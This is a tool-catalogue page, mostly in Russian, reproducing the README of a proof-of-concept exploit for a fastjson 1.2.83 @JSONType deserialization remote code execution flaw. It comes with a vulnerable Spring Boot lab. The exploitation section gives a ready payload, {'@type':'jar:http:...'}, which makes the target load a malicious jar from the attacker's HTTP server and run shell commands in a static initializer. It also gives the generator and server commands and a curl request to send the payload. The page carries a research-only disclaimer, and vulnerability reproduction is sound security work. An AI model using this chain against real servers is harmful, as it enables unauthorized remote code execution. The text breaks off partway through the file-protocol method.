Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-16723 — Воспроизводит RCE fastjson 1.2.83 @JSONType с уязвимой целью Spring Boot и генератором полезной нагрузки на основе ASM, использующим цепочки jar по HTTP- или файловому протоколу. | Kitploit
Инструменты/GitHubGitHub/superman-l/cve-2026-16723
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubsuperman-l/cve-2026-16723

CVE-2026-16723

Воспроизводит RCE fastjson 1.2.83 @JSONType с уязвимой целью Spring Boot и генератором полезной нагрузки на основе ASM, использующим цепочки jar по HTTP- или файловому протоколу.

Репозиторий
1161 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🚨 CVE-2026-16723 — fastjson 1.2.83: RCE через цепочку обнаружения ресурсов @JSONType

Java fastjson Type Environment Status

Проект воспроизведения удалённой загрузки классов / выполнения команд для fastjson 1.2.66 ~ 1.2.83 через аннотацию @JSONType + недопустимое имя класса + протокол jar:.

⚠️ Отказ от ответственности

Данный проект предназначен только для исследований в области безопасности, воспроизведения уязвимостей и авторизованного тестирования. Запрещается использовать его против неавторизованных систем, для незаконных атак или вредоносных целей. Пользователь несёт полную ответственность за свои действия; автор не несёт юридической ответственности за любое злоупотребление.


Статья с анализом уязвимости: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w


📖 О проекте

Данный проект представляет собой полную среду для воспроизведения уязвимости fastjson 1.2.83, связанной с CVE-2026-16723:

  • demo/ — уязвимое веб-приложение на Spring Boot 2.7.18 (зависимость fastjson 1.2.83), которое предоставляет эндпоинт POST /parse, напрямую вызывающий JSON.parse(json);
  • exp/ — генератор вредоносных jar-зондов на основе ASM (в двух формах: по HTTP-протоколу / по FILE-протоколу);
  • 环境/ — предкомпилированные FatJar для трёх сервлетных контейнеров (Tomcat / Jetty / Undertow), готовые к использованию.

Основная идея эксплуатации: сформировав специальный JSON, в котором @type указывает на jar URL, заставить fastjson пройти доверенную ветку аннотации @JSONType → getResourceAsStream загружает удалённый/локальный jar → defineClass загружает вредоносный класс → инициализация класса запускает <clinit> → выполнение произвольных команд (RCE).


🎯 Обзор уязвимости

ПараметрЗначение
CVECVE-2026-16723
КомпонентAlibaba fastjson
Затронутые версии1.2.66 ~ 1.2.83 (последняя версия ветки 1.x всё ещё уязвима)
Тип уязвимостиУдалённое выполнение кода при десериализации (RCE)
Точка входаJSON.parse(json) / JSON.parseObject(json) (без указания конкретного типа)
Предварительные условияЦель — Spring Boot FatJar, JDK 8, safeMode отключён

Условия эксплуатации

  1. Код цели: для разбора недоверенного ввода напрямую используется JSON.parse(json) или JSON.parseObject(json), версия fastjson — 1.2.66 ~ 1.2.83, safeMode не включён;
  2. Форма запуска цели: Spring Boot FatJar (запуск через java -jar, используется LaunchedURLClassLoader; только Spring Boot ≤ 2.7 сохраняет возможность отката обработчика протокола jar:);
  3. JVM цели: JDK 8 (на JDK 9+ метод defineClass выбрасывает ClassFormatError — максимум, чего можно достичь, это SSRF);
  4. Сетевая доступность: цель может получить доступ к HTTP-порту машины атакующего (цепочка по HTTP-протоколу) или прочитать локальный jar-файл (цепочка по FILE-протоколу).

🧩 Принцип уязвимости

Метод checkAutoType в fastjson при обнаружении класса с аннотацией @JSONType переходит в доверенную ветку, пропуская большинство проверок чёрного списка и разрешая загрузку. Данный проект использует это: байт-код записывается напрямую с помощью ASM, а 【недопустимое имя внутреннего класса】 помещается в this_class пула констант класса, благодаря чему все три имени идеально совпадают:

@type        jar:http:..2130706433:19090.x!.y        (点形态,无斜杠)
resource     jar:http://2130706433:19090/x!/y.class   (点 -> 斜杠)
this_class   jar:http://2130706433:19090/x!/y         (字节码内部类名)

Структура вредоносного класса:

  1. Аннотация @JSONType — ключ, открывающий доверенную ветку checkAutoType в fastjson;
  2. Конструктор по умолчанию <init>()V — гарантирует, что fastjson сможет нормально создать экземпляр;
  3. Статический блок инициализации <clinit> — при инициализации класса выполняет Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}), обеспечивая выполнение команд.

Недопустимое имя класса невозможно получить с помощью javac — только ASM позволяет записать URL напрямую в пул констант. Именно поэтому генератор данного проекта зависит от asm-9.6.jar.


📁 Структура проекта

CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt                     # 快速利用速查(http / file 协议两条命令)
├── demo/                        # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│   └── src/main/java/com/example/demo/
│       ├── DemoApplication.java
│       └── controller/VulController.java     # POST /parse -> JSON.parse(json)
├── exp/                         # 恶意探针 jar 生成器
│   ├── GenProbeHttp.java        # HTTP 协议链(jar:http)
│   ├── GenProbefile.java        # FILE 协议链(jar:file)
│   └── asm-9.6.jar              # ASM 字节码操作库
└── 环境/                        # 预编译靶场 FatJar(开箱即用)
    ├── demo-0.0.1-SNAPSHOT.jar            # Tomcat 中间件
    ├── demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty 中间件
    ├── demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow 中间件
    └── asm-9.6.jar

Эндпоинт лабораторной среды

demo/src/main/java/com/example/demo/controller/VulController.java:

@PostMapping("/parse")
public String parse(@RequestBody String json) {
    ParserConfig.getGlobalInstance().setAsmEnable(false);
    ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
    JSON.parse(json);   // 未指定类型,直接解析不可信输入
    return "Parsed!";
}

🚀 Быстрый старт

1. Запуск уязвимой лабораторной среды

Лабораторная среда должна работать на JDK 8 (в соответствии с условиями эксплуатации).

# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar            # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar      # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar   # Undertow

# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run

После запуска адрес эндпоинта: http://127.0.0.1:8080/parse


💥 Эксплуатация уязвимости

Способ 1: цепочка по HTTP-протоколу (jar:http, рекомендуется)

① Компиляция генератора

cd exp
javac -cp asm-9.6.jar GenProbeHttp.java

② Генерация вредоносного jar-зонда

java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
  • 19090 — HTTP-порт для размещения вредоносного jar;
  • open -a Calculator — команда, которую нужно выполнить на машине цели (на macOS появится калькулятор; на Linux можно использовать id > /tmp/pwned 2>&1 и проверить, создан ли файл).

По умолчанию создаётся файл x (без расширения), внутри него содержится y.class; payload:

{"@type":"jar:http:..2130706433:19090.x!.y","x":1}

③ Размещение вредоносного jar (HTTP-сервер)

python3 -m http.server 19090

Убедитесь, что python3 -m http.server запущен в том же каталоге, где был создан файл x.

④ Отправка payload на цель

curl -X POST http://127.0.0.1:8080/parse \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'

⑤ Проверка

Результат выполнения команды не отображается в HTTP-ответе — проверять необходимо на самой машине цели:

# Linux 目标
cat /tmp/pwned            # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)

Способ 2: цепочка по FILE-протоколу (jar:file)

Сценарий применения: цель не может получить доступ к HTTP-порту машины атакующего (изоляция во внутренней сети / ограничен исходящий трафик), но jar-файл можно разместить в файловой системе целевой машины.

① Компиляция генератора

Скачать инструмент